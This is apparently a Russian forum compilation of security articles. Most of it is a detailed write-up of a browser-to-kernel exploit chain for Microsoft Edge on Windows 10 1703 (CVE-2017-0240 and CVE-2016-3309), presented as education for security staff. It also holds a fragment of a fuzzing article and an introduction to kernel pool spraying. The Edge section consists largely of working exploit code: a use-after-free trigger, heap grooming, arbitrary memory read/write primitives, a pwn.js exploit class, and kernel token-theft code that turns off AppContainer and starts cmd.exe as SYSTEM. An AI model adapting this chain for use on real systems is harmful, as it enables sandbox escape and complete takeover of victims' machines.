которая хорошо дополняет арсенал поиска уязвимостей. Фаззеры в первую очередь
стоит применять там, где возникают вопросы безопасности, на границе доверия и
там, где есть пользовательский ввод. И пусть наши программы станут лучше.
Автор: Дмитрий Вьюков (с) Xakep.ru
В рамках данной статьи мы достаточно подробно рассмотрим процесс написания эксплоита под уязвимость в Microsoft Edge, с последующим выходом из песочницы. Если вам интересно узнать, как выглядит этот процесс, то welcome под кат!
Введение
На последнем Pwn2Own 2019 в Монреале в категории браузеры был [продемонстрирован](https://www.thezdi.com/blog/2019/3/21/pwn2own- vancouver-2019-day-two-results) эксплоит для взлома Microsoft Edge. Для этого было использовано две уязвимости: double free в ренедере и логическая уязвимость для выхода из песочницы. Эти две уязвимости были недавно закрыты и присвоены соотвествующие CVE: [CVE-2019-0940](https://portal.msrc.microsoft.com/en-us/security- guidance/advisory/CVE-2019-0940) и [CVE-2019-0938](https://portal.msrc.microsoft.com/en-us/security- guidance/advisory/CVE-2019-0940). Подробнее об уязвимостях можно прочитать в блоге: [Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Part 1](https://blog.exodusintel.com/2019/05/19/pwn2own-2019-microsoft-edge- renderer-exploitation-cve-2019-9999-part-1/) и [Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). Part 2](https://blog.exodusintel.com/2019/05/27/pwn2own-2019-microsoft-edge- sandbox-escape-cve-2019-0938-part-2/).
В рамках нашей статьи мы хотим показать процесс написания подобного эксплоита и то, сколько нужно времени и ресурсов на это на примере того же Microsoft Edge на Windows 10 с помощью [CVE-2017-0240](https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2017-0240) и [CVE-2016-3309](https://docs.microsoft.com/en-us/security- updates/SecurityBulletins/2016/ms16-098). Одним из отличий будет то, что, если в эксплоите, продемонстрированном на Pwn2Own, для выхода из песочницы использовалась логическая уязвимость, то в нашем сценарии для выхода из песочницы будет использована уязвимость в ядре Windows 10. Как показывают патчи от Microsoft, уязвимостей в ядре находится куда больше, чем уязвимостей в реализации песочницы. В итоге, такую цепочку уязвимостей встретить намного вероятнее, и её будет полезно знать сотрудникам ИБ в компаниях.
Исходные данные
В данной статье будет рассмотрен процесс написания 1-day эксплойта для браузера Microsoft Edge. Будет эксплуатироваться CVE-2017-0240. Первый этап эксплуатации будет производиться на основе материалов из источника [1], мы получим arbitrary address read/write примитив, а также познакомимся с различными техниками, которые могут быть полезны при эксплуатации подобных уязвимостей. Далее будет знакомство с инструментом pwn.js, который поможет получить вызов произвольных функций на основе произвольного чтения и записи, также будут рассмотрены различные mitigations и способы их обхода. На последнем этапе будет произведена эксплуатация уязвимости ядра Windows CVE-2016-3309 для повышения привилегий, обхода ограничений AppContainer и получения полного контроля над атакуемой машиной.
Эксплуатация будет проводиться на стенде c ОС Microsoft Windows 10 Pro 1703 (10.0.15063) и браузером Microsoft Edge (40.15063.0.0).
Шаг 1. Получение arbitrary address read/write примитива
Описание уязвимости и получение OOB
Уязвимость типа use-after-free присутствует в методе [copyFromChannel](https://developer.mozilla.org/en- US/docs/Web/API/AudioBuffer/copyFromChannel) объекта AudioBuffer.
AudioBuffer — это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом AudioContext.decodeAudioData(), или из исходных данных с помощью метода AudioContext.createBuffer(). Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в AudioBufferSourceNode.
Click to expand...
В презентации The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 приведен подробный анализ уязвимости и патча. При вызове метода copyFromChannelпроисходит копирование содержимого канала аудио- буфера в буфер destination, указанный первым аргументом. Метод также принимает номер канала (channelNumber) и смещение в аудио-буфере (startInChannel), начиная с которого необходимо производить копирование. Перед непосредственным копированием данных в destination, в функции CDOMAudioBuffer::Var_copyFromChannel происходит кеширование буфера destination (адрес и размер буфера сохраняются в локальные переменные функции на стеке) и преобразование значений объектов channelNumber и startInChannel к типу Int, для чего происходит вызов метода valueOf преобразуемых объектов. Уязвимость заключается в том, что закешированный буфер может быть освобожден в момент преобразования типов в переопределенном методе valueOf объекта. Для проверки воспользуемся следующим кодом:
Code:Copy to clipboard
// буфер, который впоследствии будет освобожден
var t2 = new Float32Array(0x20000);
var ta = new Uint8Array(t2.buffer);
for (i=0;i<t2.length;i++)
t2[i] = 0x66;
var myctx = new AudioContext();
var audioBuf = myctx.createBuffer(1, 0x25, 22050);
// заполним содержимое аудио-буфера для наглядности
var t = audioBuf.getChannelData(0);
var ta2 = new Uint8Array(t.buffer);
for(i=0;i<ta2.length;i++)
ta2[i]=0x55;
// создаем объект с переопределенным valueOf
var obj = {
valueOf: function () {
// освобождаем буфер
var worker = new Worker('worker.js');
worker.postMessage(0, [t2.buffer]);
worker.terminate();
worker = null;
// ожидание освобождения буфера
sleep(1000);
return 0;
}
};
// триггерим уязвимость
audioBuf.copyFromChannel(t2, obj, 0);
Для освобождения буфера в данном коде используется технология Web Workers. Создав пустой Worker, мы можем отправить ему сообщение с помощью метода postMessage. Второй необязательный аргумент transfer данного метода принимает массив Transferable-объектов (ArrayBuffer, MessagePost или ImageBitmap), права на объект будут переданы в Worker и объект более не будет доступен в текущем контексте, благодаря чему может быть удален. После этого происходит вызов sleep — функция, обеспечивающая временную остановку выполнения программы (реализуется самостоятельно). Это необходимо для того, чтобы система сборки мусора (GC, Garbage Collector) успела освободить буфер, права на который были переданы.
Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя XMLHttpRequest (хотя атрибуты responseXML и channel всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду- создателю через обработчик событий, указанный этим кодом (и наоборот).
Click to expand...
Запустив данный код в Edge под отладчиком, можно получить следующее падение.
В результате вызов copyFromChannel пытается копировать содержимое аудио-буфера в неалоцированную область памяти. Для эксплуатации уязвимости необходимо добиться выделения в этой области памяти каких-либо объектов. В данном случае отлично подойдет сегмент массива.
Массивы в Chakra (JS-движок, используеммый в браузере Edge) устроены следующим образом: объект массива имеет фиксированный размер, сами указатели на объекты массива (или значения, в случае IntArray) хранятся в отдельной области памяти — сегменте, указатель на который содержится в объекте массива. Заголовок сегмента содержит различную информацию, в том числе размер сегмента, который соответствует размеру массива. Размер массива также присутствует и в самом объекте массива. Схематично это выглядит следующим образом:
Таким образом, если нам удастся выделить сегмент массива в ранее освобожденном пространстве, то мы сможем перезаписать заголовок сегмента массива содержимым аудио-буфера. Для этого модифицируем код выше, добавив в следующие строки после sleep(1000);:
Code:Copy to clipboard
...
/* Для повышения вероятности захватить интересующий нас сегмент массива,
создаем большое их количество. Глобальный массив arr необходим для
дальнейшего обращения созданным далее массивам */
arr = new Array(128);
for(var i = 0; i < arr.length; i++)
{
arr[i] = new Array(0x3ff0);
for(var j = 0; j < arr[i].length; j++)
arr[i][j] = 0x30303030;
}
...
Размер массивов подобран таким образом, чтобы размер сегмента массива занимал целый сегмент кучи (минимальный неделимый участок памяти кучи, размер которого — 0x10000 байт). Запустим данный код, указав в качестве точки остонова функцию memcpy (вызовов memcpy будет много, поэтому имеет смысл остановиться сначала на edgehtml!WebCore::AudioBufferData::copyBufferData), в которой происходило падение. Получим следующий результат:
Отлично! Теперь мы можем перезаписать заголовок сегмента массива собственными значениями. Наиболее интересные значения в данном случае — размер массива, смещение которого мы можем увидеть на скриншоте выше. Изменим содержимое аудио-буфера следующим образом:
Code:Copy to clipboard
...
var t = audioBuf.getChannelData(0);
var ta2 = new Uint32Array(t.buffer);
ta2[0] = 0; ta2[1] = 0;
ta2[2] = 0xffe0; ta2[3] = 0;
ta2[4] = 0; ta2[5] = 0;
ta2[6] = 0xfba6; ta2[7] = 0;
ta2[8] = 0; ta2[9] = 0x7fffffff - 2;
ta2[10] = 0x7fffffff; ta2[11] = 0;
ta2[12] = 0; ta2[13] = 0;
ta2[14] = 0x40404040; ta2[15] = 0x50505050;
...
Обратите внимание на значения ta2[14] и ta2[15] — они уже относятся не к заголовку сегмента, а к самим значениям массива. С помощью этого мы сможем определить нужный нам массив в глобальном массиве arr следующим образом:
Code:Copy to clipboard
...
for(var i = 0; i < arr.length; i++)
{
if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050)
{
alert('Target array idx: ' + i);
target_idx = i;
target_arr = arr[i];
break;
}
}
Если в результате был обнаружен массив, первые два элемента которого были изменены определенным образом, то всё отлично. Теперь мы имеем массив, размер сегмента которого больше, чем он есть на самом деле. Остальные массивы при этом можно освободить.
Тут необходимо вспомнить о том, что размер массива существует в двух сущностях: в объекте массива, где он остался не измененным, и в сегменте массива, где мы его увеличили. Оказывается, что размер в объекте массива игнорируется, если код исполняется в JIT-режиме и был оптимизирован. Этого легко добиться, например, следующим образом:
Code:Copy to clipboard
function arr_get(idx) {
return target_arr[idx];
}
function arr_set(idx, val) {
target_arr[idx] = val;
}
for(var i = 0; i < 0x3ff0; i++)
{
arr_set(i, arr_get(i));
}
После этого, с помощью функций arr_get и arr_set можно обращаться за границы массива (OOB, out-of-bound).
Использование OOB для получения примитива чтения и записи по произвольному адресу
В данном разделе рассмотрим технику, позволяющую добиться чтения и записи по произвольному адресу с помощью OOB. Метод, с помощью которого мы это получим, будет похож на тот, что используется в источнике [1], но будут также и значительные изменения.
В используемой версии Edge блоки памяти для кучи выделяются последовательно, благодаря чему при выделении большого количества каких-либо объектов рано или поздно они окажутся после сегмента массива, за границы которого мы можем обращаться.
Во-первых, это дает нам возможность считать указатель на виртуальную таблицу методов объектов (vftable), благодаря чему можно обойти рандомизацию адресного пространства процесса (ASLR). Но доступ к каким объектам поможет нам добиться произвольного чтения и записи? Для этого отлично подходит пара объектов DataView.
Представление DataView предоставляет низкоуровневый интерфейс для чтения и записи многочисленных числовых типов в бинарном ArrayBuffer, независимо от порядка байтов платформы.
Click to expand...
Внутренняя структура DataView содержит указатель на буфер. Для чтения и записи по произвольному адресу мы, например, можем построить цепочку из двух DataView (dv1 и dv2) следующим образом: в качестве буфера dv1 указываем адрес dv2 с помощью обращения за пределы массива. Теперь с помощью dv1 мы можем изменять адрес буфера dv2, за счет чего и достигается произвольные чтение и запись. Схематично это можно изобразить следующим образом:
Чтобы воспользоваться данным методом, необходимо научиться определять адреса объектов в памяти. Для этого существует следующая техника: необходимо создать новый Array, с помощью OOBсохранить его vftable и typeId (первые два 64-битных поля структуры) и присвоить первому элементу массива объект, адрес которого нас интересует. Затем, необходимо восстановить ранее сохраненные значения vftable и typeId. Теперь младшее и старшее двойное слово адреса объекта можно получить, обратившись к первому и второму элементу массива. Дело в том, что по умолчанию новый массив является IntArray, и в его сегменте хранятся 4-байтовые значения массива как они есть. При присвоении массиву объекта происходит преобразование массива в ObjectArray, и его сегмент используется для хранения адресов объектов. При преобразовании изменяются vftable и typeId. Соответственно, если мы восстановим исходные значения vftable и typeId, через элементы этого массива мы сможем обращаться напрямую к сегменту. Схематично описанный процесс можно изобразить следующим образом:
Функция для получения адреса будет выглядеть следующим образом:
Code:Copy to clipboard
function addressOf(obj) {
var hdr_backup = new Array(4);
// сохраняем vftable и typeId intarr_object
for(var i = 0; i < 4; i++)
hdr_backup[i] = arr_get(intarr_idx + i);
intarr_object[0] = obj;
// восстанавливаем vftable и typeId intarr_object
for(var i = 0; i < 4; i++)
arr_set(intarr_idx + i, hdr_backup[i]);
// возвращаем младшее и старшее двойное слово адреса объекта
return [intarr_object[0], intarr_object[1]];
}
Открытым вопросом остается создание необходимых объектов и поиск их с помощью OOB. Как было сказано ранее, при выделении большого количества объектов, рано или поздно они начнут выделяться после сегменты массива, за границы которого мы можем обращаться. Чтобы найти нужные объекты, необходимо просто пройтись по индексам за пределами массива в поиске нужных объектов. Т.к. все объекты одного типа располагаются в одном сегменте кучи, можно оптимизировать поиск и идти по сегментам кучи с шагом 0x10000, а проверять только несколько первых значений с начала каждого сегмента кучи. Чтобы идентифицировать объекты, можно установить им уникальные значения каких-либо параметров (например, для DataView это может быть byteOffset) или, используя уже известные константы в структуре объекта (например, в используемой версии Edge в IntArray по смещению 0x18всегда находится значение 0x10005).
Объединив все вышеописанные приемы, можно получить чтение и запись по произвольному адресу. Ниже представлен скриншот с чтением памяти объкетов DataView.
Шаг 2. Выполнение произвольных функций API
На данном этапе мы получили возможность чтения и записи по произвольному адресу внутри процесса отображения контента Edge. Рассмотрим основные технологии, которые должны помешать дальнейшей эксплуатации приложения и средства их обхода. Мы уже писали небольшой цикл статей Браузеры и app specific security mitigation (часть 1, вводная, часть 2, Internet Explorer и Edge, часть 3, Google Chrome), но стоит учитывать, что разработчики не стоят на месте и добавляют в свои продукты новые средства защиты.
Рандомизация адресного пространства (ASLR)
ASLR (англ. address space layout randomization — «рандомизация размещения адресного пространства») — технология, применяемая в операционных системах, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур данных, а именно: образов исполняемого файла, подгружаемых библиотек, кучи и стека.
Click to expand...
Выше мы научились считывать адреса виртуальных таблиц классов, используя их, мы с легкостью можем вычислить базовый адрес модуля Chakra.dll, таким образом ASLR не представляет проблем для дальнейшей эксплуатации.
Data execution protection (DEP, NX)
Предотвращение выполнения данных (англ. Dáta Execútion Prevéntion, DEP) — функция безопасности, встроенная в Linux, Mac OS X, Android и Windows, которая не позволяет приложению исполнять код из области памяти, помеченной как «только для данных». Она позволит предотвратить некоторые атаки, которые, например, сохраняют код в такой области с помощью переполнения буфера.
Click to expand...
Один из способов обхода данной защиты — вызов VirtualAlloc с помощью ROP- цепочек. Но в случае Edge данный метод не сработает из-за ACG (см. ниже).
Control Flow Guard (CFG)
CFG — механизм защиты, нацеленный на то, чтобы усложнить процесс эксплуатации бинарных уязвимостей в пользовательских приложениях и приложениях режима ядра. Работа данного механизма заключается в валидации неявных вызовов (indirect calls), предотвращающей перехват потока исполнения злоумышленником (например, посредством перезаписи таблицы виртуальных функций)
Click to expand...
Данная технология контролирует только косвенные вызовы, например, вызовы методов из виртуальной таблицы функций объектов. Адреса возврата на стеке не контролируются, и этим можно воспользоваться для построения ROP-цепочек. В будущем использованию ROP/JOP/COP-цепочек может помешать новая технология Intel: Control-flow Enforcement Technology (CET). Данная технология состоит из двух частей:
Arbitrary Code Guard (ACG)
ACG — это технология, препятствующая динамической генерации кода (запрещено аллоцировать rwx-области памяти с помощью VirtaulAlloc) и его модификации (нельзя переотобразить имеющуюся область памяти как исполняемую)
Click to expand...
Данная защита, как и CFG, не предотвращает использование ROP-цепочек.
AppContainer Isolation
AppContainer — технология Microsoft, позволяющая изолировать процесс, запуская его в окружении-песочнице. Данная технология ограничивает доступ процесса к учетным данным, устройствам, файловой системе, сети, другим процессам и окнам и нацелена на минимизацию возможностей вредоносного ПО, получившего возможность выполнения произвольного кода в процессе.
Click to expand...
Данная защита значительно усложняет процесс эксплуатации. Из-за неё мы не можем вызвать сторонние исполняемые файлы или получить доступ к чувствительной информации пользователя в памяти или на дисках. Однако данную защиту можно преодолеть, используя уязвимости в реализации песочницы AppContainer или с помощью повышения привилегий через эксплуатацию уязвимостей в ядре ОС.
Стоит отметить, что у Microsoft существует отдельная программа вознаграждений за техники обхода security mitigation-технологий. В программе указано, что повторное использование исполняемого кода (построение ROP-цепочек являеться разновидностью данной техники) не попадает под программу, т.к. является архитектурной проблемой.
Использование pwn.js
Из анализа всех технологий защиты следует, что для получения возможности исполнения произвольного кода необходимо обойти песочницу AppContainer. В данной статье мы опишем способ с использованием уязвимости ядра Windows. При этом мы можем использовать только JS-код и ROP-цепочки. Писать эксплойт для ядра, используя только ROP-цепочки, может быть очень сложно. Для упрощения этой задачи можно найти набор гаджетов, с помощью которого мы бы смогли вызывать необходимые методы WinAPI. К счастью, это уже реализовано в библиотеке pwn.js. С помощью неё, описав лишь функции read и write для произвольного чтения и записи, можно получить удобное APIдля поиска необходимых функций WinAPI и их вызова. Также pwn.jsпредоставляет удобный инструмент для работы с 64-битными значениями и указателями и инструменты для работы со структурами.
Рассмотрим простой пример. На предыдущем этапе мы получили цепочку из двух связанных DataView. Для подготовки эксплойта необходимо создать следующий класс:
Code:Copy to clipboard
var Exploit = (function() {
var ChakraExploit = pwnjs.ChakraExploit;
var Integer = pwnjs.Integer;
function Exploit() {
ChakraExploit.call(this);
...
// Получение arbitrary address read/write с помощью уязвимости
...
// DataView, с помощью которого будет производиться чтение и запись
this.dv = ...;
// DataView, буфер которого указывает на this.dv
this.dv_offset = ...;
// Любой адрес внутри Chakra.dll, например, указатель на виртуальную таблицу
var vtable = ...;
this.initChakra(vtable);
}
Exploit.prototype = Object.create(ChakraExploit.prototype);
Exploit.prototype.constructor = Exploit;
Exploit.prototype.set_dv_address = function(lo, hi) {
this.dv_offset.setInt32(0x38, lo, true);
this.dv_offset.setInt32(0x3c, hi, true);
}
Exploit.prototype.read = function (address, size) {
this.set_dv_address(address.low, address.high);
switch (size) {
case 8: return new Integer(this.dv.getInt8(0, true), 0, true);
case 16: return new Integer(this.dv.getInt16(0, true), 0, true);
case 32: return new Integer(this.dv.getInt32(0, true), 0, true);
case 64: return new Integer(this.dv.getInt32(0, true),
this.dv.getInt32(4, true), true);
}
}
Exploit.prototype.write = function (address, value, size) {
this.set_dv_address(address.low, address.high);
switch (size) {
case 8: this.dv.setInt8(0, value.low, true); break;
case 16: this.dv.setInt16(0, value.low, true); break;
case 32: this.dv.setInt32(0, value.low, true); break;
case 64:
this.dv.setInt32(0, value.low, true);
this.dv.setInt32(4, value.high, true);
break;
}
}
return Exploit;
})();
Использовать полученный класс очень легко, вот простейший пример для вызова MessageBoxA:
Code:Copy to clipboard
function run() {
with (new Exploit()) {
//alert('Chakra: ' + chakraBase.toString(16));
var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32);
var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64);
var hwnd = GetActiveWindow();
var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0);
}
}
В результате исполнения получим следующее сообщение:
Шаг 3. Повышение привилегий и выход из песочницы с помощью уязвимости ядра
На данном этапе мы научились выполнять произвольные вызовы WinAPI. Этого может быть достаточно для реализации эксплуатации уязвимостей ядра. Отличный пример подходящей уязвимости является CVE-2016-3309. Подробную информацию о ней можно найти в источниках [7] и [8], а в презентации по pwn.js [2] есть частичная реализация эксплойта, который основан на относительно новой технологии эксплуатации GDI-объектов. Познакомиться подробнее с данной технологией можно в источниках [9], [10] и [11]. В результате эксплуатации уязвимости можно получить примитив произвольного чтения и записи в пространстве ядра. Изучение самого процесса эксплуатации мы оставим на читателя, в этом помогут перечисленные выше источники. В данной статье рассмотрим лишь общие техники, позволяющие с помощью произвольного чтения и записи в пространстве ядра повысить привелегии процесса и обойти AppContainer, а также рассмотрим примеры реализации этих техник с помощью pwn.js. Конечной целью эксплуатации в данной статье будет открытие командного интерпретатора cmd.exe от имени пользователя SYSTEM.
GDI — это интерфейс Windows для представления графических объектов и передачи их на устройства отображения, такие, как мониторы и принтеры.
Click to expand...
Итак, у нас получилось реализовать чтение и запись по произвольному адресу в пространстве ядра. JS-функции для чтения и записи 64-битных значений в ядре назовем kernel_read_64 и kernel_write_64, соответственно. Первым делом необходимо получить базовый адрес ядра Windows. В контексте эксплуатации уязвимости это можно сделать через объект типа BITMAP, адрес которого мы знаем. pwn.js предоставляет удобный интерфейс описания структур. Структуру BITMAP можно описать, например, так:
Code:Copy to clipboard
var BITMAP = new StructType([
['poolHeader', new ArrayType(Uint32, 4)],
// BASEOBJECT64
['hHmgr', Uint64],
['ulShareCount', Uint32],
['cExclusiveLock', Uint16],
['BaseFlags', Uint16],
['Tid', Uint64],
['dhsurf', Uint64],
['hsurf', Uint64],
['dhpdev', Uint64],
['hdev', Uint64],
['sizlBitmap', SIZEL],
['cjBits', Uint32],
['pvBits', Uint64],
['pvScan0', Uint64],
]);
Поле Tid данной структуры хранит указатель на объект KTHREAD с контекстом текущего потока исполнения, который, в свою очередь, содержит адрес EmpCheckErrataList, с помощью которого можно определить базовый адрес ядра. Таким образом, для определения адреса ядра необходимо выполнить следующий код:
Code:Copy to clipboard
...
var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8);
var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr);
/* g_config содержит различные смещения, специфичные для текущей версии ядра
Для вычисления смещения empCheckErrataList в WinDbg в режиме отлакдки ядра необходимо выполнить следующую команду:
? nt!EmpCheckErrataList - nt */
var ntoskrnl_base_address = nt_EmpCheckErrataList.sub(
g_config.nt_empCheckErrataList_offset);
...
Зная базовый адрес ядра, мы можем отключить ограничения AppContainer и повысить привелегии процесса. Для отключения ограничений AppContainer необходимо отчистить бит IsPackagedProcess из блока окружения процесса (Process Environment Block, PEB), что можно сделать не прибегая к эксплуатации уязвимости ядра. Также, необходимо получить получить Access Token, в котором не будет признаков запуска приложения внутри AppContainer. В качестве такого токена можно взять Access Token системного процесса, там самым мы еще и повысим привелегии текущего процесса. Access Token идентифицирует пользователя и его привелегии, группу и другие данные доступа. Структура процесса в ядре EPROCESS содержит двусвязный список ActiveProcessLinks, с помощью которого можно перечислить все процессы. Указатель на PEB также можно получить из EPROCESS. Указатель на системный процесс можно получить из глобальной переменной PsInitialSystemProcessядра, начиная с него, можно пройтись по всем процессам с помощью списка ActiveProcessLinks.
В случае браузера Edge существует еще одна проблема: если процесс отображения контента не отвечает, то основной процесс Edge его завершит вместе со всеми дочерними процессами. По этой причине необходимо создавать новый процесс от имени другого процесса с привилегиями SYSTEM. Это может быть, например, winlogon.exe.
Описанные выше техники можно реализовать с помощью pwn.js следующим образом:
Code:Copy to clipboard
// Получение PEB текущего процесса
var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size));
var pinfo_sz = Uint64.Ptr.cast(malloc(8));
NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz);
var peb = pinfo.PebBaseAddress;
/* Переключаем значение бита IsPackagedProcess для обхода ограничений
В данном случае peb имеет тип char * */
var bit_field = peb[3];
bit_field = bit_field.xor(1 << 4);
peb[3] = bit_field;
/* Смещения полей структур в текущей версии ядра также можно получить
с помощью WinDbg в режиме отладки ядра. Для этого необходимо выполнить следующее:
dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks
В результате будут перечисленны смещения всех перечисленных в аргументе полей */
var ActiveProcessLinks = system_eprocess.add(
g_config.ActiveProcessLinksOffset);
var current_pid = GetCurrentProcessId();
var current_eprocess = null;
var winlogon_pid = null;
// winlogon.exe - название процесса, который будет родительским для cmd.exe
var winlogon = new CString("winlogon.exe");
var image_name = malloc(16);
var system_pid = kernel_read_64(system_eprocess.add(
g_config.UniqueProcessIdOffset));
while(!current_eprocess || !winlogon_pid)
{
var eprocess = kernel_read_64(ActiveProcessLinks).sub(
g_config.ActiveProcessLinksOffset);
var pid = kernel_read_64(eprocess.add(
g_config.UniqueProcessIdOffset));
// Копируем название просматриваемого процесса из пространства ядра
// пользовательское пространство
Uint64.store(
image_name.address,
kernel_read_64(eprocess.add(g_config.ImageNameOffset))
);
Uint64.store(
image_name.address.add(8),
kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8))
);
// Ищем процесс winlogon.exe и текущий процесс
if(_stricmp(winlogon, image_name).eq(0))
{
winlogon_pid = pid;
}
if (current_pid.eq(pid))
{
current_eprocess = eprocess;
}
// Перемещаемся к следующему процессу в двусвязном списке
ActiveProcessLinks = eprocess.add(
g_config.ActiveProcessLinksOffset);
}
// Получение токена системного процесса
var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset));
// Подготовка структур данных для запуска нового процесса в качестве
// дочернего процесса winlogon.exe
var pi = malloc(24);
memset(pi, 0, 24);
var si = malloc(104 + 8);
memset(si, 0, 104 + 8);
Uint32.store(si.address, new Integer(104 + 8));
var args = WString("cmd.exe");
var AttributeListSize = Uint64.Ptr.cast(malloc(8));
InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize);
var lpAttributeList = malloc(AttributeListSize[0]);
Uint64.store(
si.address.add(104),
lpAttributeList
);
InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize)
var winlogon_handle = Uint64.Ptr.cast(malloc(8));
// Запись системного токена в текущий процесс
kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token);
/* Обладая правами системного процесса и отключив ограничения AppContainer,
мы можем получить дескриптор запущенного процесса winlogon.exe и запустить
новый процесс в качестве дочернего процесса winlogon.exe */
winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid);
UpdateProcThreadAttribute(lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
winlogon_handle, 8, 0, 0);
CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi);
Результат выполнения полной цепочки эксплойтов:
На нашем YouTube вы можете посмотреть видео о том, как выйти из песочницы Microsoft Edge.
Итог
Немного цифровых фактов:
Теперь мы думаем, что у вас может сложиться некоторая картина о том, как злоумышленники на основании той же информации из патчей могут быстро создать эксплойт под интресующее их ПО. А учитывая, что человек может специализироваться на конкретном ПО, это займет у него еще меньше времени и сил. Поэтому не забывайте о своевременном обновлении своего ПО.
Материалы
Автор: @a1exdandy (с) Digital Security
Если вы возитесь с уязвимостями режима ядра в Windows, то рано или поздно приходится иметь дело с такой техникой, как kernel pool spraying (только не называйте ее «распыление ядерной кучи»). Думаю, умение держать под контролем поведение пула памяти ядра будет полезным для разработчика эксплойтов.
Чтобы осилить данную технику, необходимо иметь хотя бы примерное представление об устройстве пула ядра. В этой статье я постараюсь привести описание только значимых в контексте техники pool spraying деталей его реализации. Устройство пула ядра хорошо изучено, поэтому если вам все-таки нужны более глубокие познания, можете обратиться в любую поисковую службу или к ссылкам в конце статьи.
Обзор структуры пула ядра
Пул памяти ядра – единое место в ядре операционной системы, куда можно обратиться с запросом на выделение памяти. Стеки в режиме ядра имеют небольшой размер и пригодны только для хранения нескольких переменных, причем не являющихся массивами. Когда драйверу требуется создать большую структуру данных или строку, он может использовать разные интерфейсы для выделения памяти, но в конце концов они приведут к памяти из пула.»
Существует несколько типов пулов, но все они имеют одинаковое строение (кроме особого пула (special pool), который используется утилитой проверки драйверов (driver verifier)). Каждый пул имеет управляющую структуру, называемую дескриптором пула. Помимо прочего, она хранит списки свободных блоков (chunk) пула, образующих свободное пространство пула. Сам пул состоит из страниц памяти. Они могут быть стандартными 4х-килобайтными или большими 2х-мегабайтными. Количество используемых страниц динамически регулируется.
Страницы пула ядра разделены на фрагменты разного размера – блоки (chunk). Именно блоки выделяются модулям ядра при запросе на выделение памяти из пула.
Блоки содержат в себе следующие метаданные:
Previous size (предыдущий размер) — размер предыдущего блока.
Pool index (индекс пула) используется в ситуациях, когда существует несколько пулов одного типа. К примеру, подкачиваемых пулов в системе несколько. Данное поле используется для определения, какому именно пулу принадлежит блок.
Block size (размер блока) — размер текущего блока. Аналогично полю previous size, его размер кодируется как
(размер данных блока + размер заголовка + опциональные 4 байта указателя на
процесс, занявший блок) >> 3 (или >> 4 для x64 систем).
Pool type (тип пула) является набором битовых флагов, которые не документированы (!).
Pool tag (тэг пула) используется для отладочных целей. Модули ядра указывают сигнатуру из четырех печатаемых символов, идентифицирующих подсистему или драйвер, которому принадлежит блок. К примеру, тэг “NtFs” значит, что блок принадлежит драйверу файловой системы NTFS ntfs.sys.
Строение блока имеет пару отличий на 64-битных системах. Во-первых, поля заголовков имеют больший размер, а во-вторых, имеется 8-байтовое поле с указателем на процесс, использующий данный блок.
Обзор принципов выделения памяти в пуле
Представьте, что пул пуст. В смысле, в нем вообще нет места. Если мы попытаемся выделить память из него (скажем, меньше 0xFF0 байт), первым делом будет выделена страница памяти, а затем на ней будет выделен блок, расположенный в начале страницы.
Теперь мы имеем два блока — тот, который мы выделили, и свободный. Свободный, в свою очередь, может использоваться при последующих операциях выделения памяти. Однако с этого момента распределитель пула будет располагать выделенные блоки в конце страницы или свободного места на данной странице.
Когда дело доходит до освобождения блоков, описанный процесс выполняется с точностью до наоборот. Блоки становятся свободными и сливаются в один блок, если являются смежными.
Заметьте, что описанная ситуация является вымышленной и используется только для примера, поскольку на практике пулы заполняются страницами памяти задолго до того момента, когда пул будет готов для использования модулями ядра.
Контролируем выделение памяти из пулов
Имейте в виду, что пулы ядра являются высоконагруженными сущностями операционной системы. Прежде всего, они используются для создания всевозможных объектов и внутренних структур данных ядра. Кроме того, пулы используются во множестве системных вызовов для буферизации передаваемых из пользовательского режима параметров. Поскольку операционная система постоянно осуществляет обслуживание аппаратного обеспечения посредством драйверов и программного обеспечения посредством системных вызовов, можете примерно оценить частоту использования пула, даже во время простоя системы.
Рано или поздно пулы становятся фрагментированными. Это происходит из-за выделений и освобождений блоков памяти разного размера в различном порядке. Поэтому появляется термин spraying — распыление. При последовательном выделении памяти из пула блоки совершенно не обязаны быть смежными, и, скорее всего, они будут находиться в разных участках памяти. Поэтому когда мы заполняем память подконтрольными (красными) блоками, вероятнее, что мы увидим картинку слева, нежели справа.
Однако, есть значимое в контексте эксплуатации обстоятельство: когда не остается регионов черного цвета при «закраске», мы получим новенький, без лишних пятен. И с этого момента «кисточка-распылитель» превращается в обычную, со сплошной заливкой. Этот факт дает нам значительный уровень контроля над поведением пула и над его «картинкой». Значительный не является полным контролем, поскольку даже в этом случае нет никаких гарантий того, что мы всецело владеем «картинкой», ведь нас всегда может прервать «брызгами» другого цвета кто-то еще.
